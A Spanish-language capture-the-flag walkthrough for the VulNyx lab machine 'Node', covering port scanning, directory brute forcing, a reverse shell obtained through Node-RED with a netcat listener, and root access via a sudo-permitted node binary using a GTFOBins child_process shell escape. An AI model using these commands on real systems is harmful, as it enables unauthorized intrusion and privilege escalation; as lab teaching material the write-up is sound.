Information

Node es una máquina virtual vulnerable Linux de dificultad baja de la plataforma VulNyx, fue creada por el usuario d4t4s3c y funciona correctamente en los hipervisores VirtualBox y VMware.

Enumeration

Nmap

TCP

❯ nmap -n -Pn -sS -p- --min-rate 5000 192.168.1.69
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-29 07:50 CEST
Nmap scan report for 192.168.1.69
Host is up (0.00043s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
1880/tcp open  vsat-control

❯ nmap -sVC -p22,80,1880 192.168.1.69
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-29 07:51 CEST
Nmap scan report for 192.168.1.69
Host is up (0.00056s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
|   256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_  256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
80/tcp   open  http    Apache httpd 2.4.56 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.56 (Debian)
1880/tcp open  http    Node.js Express framework
|_http-title: Node-RED
|_http-cors: GET POST PUT DELETE

Shell (dev)

80/TCP (HTTP)

Site

Directory Brute Force

❯ gobuster dir -w /opt/directory-list-2.3-medium.txt -u http://192.168.1.69/
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.1.69/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /opt/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/server-status        (Status: 403) [Size: 277]
Progress: 220545 / 220546 (100.00%)
===============================================================
Finished
===============================================================

1880/TCP (Node-RED)

Node-RED

Reverse Shell

Pego la siguiente reverse shell y modifico la IP y PUERTO por la de mi máquina local

Obtengo la shell como usuario dev

❯ nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.1.5] from (UNKNOWN) [192.168.1.69] 55810
id ; hostname
uid=1000(dev) gid=1000(dev) grupos=1000(dev)
node

Privilege Escalation

Enumeration

Sudo

El usuario dev puede ejecutar como root el binario node con sudo

dev@node:~$ sudo -l
Matching Defaults entries for dev on node:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User dev may run the following commands on node:
    (root) NOPASSWD: /usr/bin/node

Abuse

En GTFOBins nos dan la secuencia de shell-escape y me convierto en usuario root

dev@node:~$ sudo -u root /usr/bin/node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'
# bash -i
root@node:/home/dev# id ; hostname
uid=0(root) gid=0(root) grupos=0(root)
node

Flags

Ya como usuario root puedo leer las flags user.txt y root.txt

root@node:/home/dev# find / -name user.txt -o -name root.txt 2>/dev/null |xargs cat
022f****************************
7af9****************************

Hasta aquí la resolución de la máquina Node.

Happy Hacking!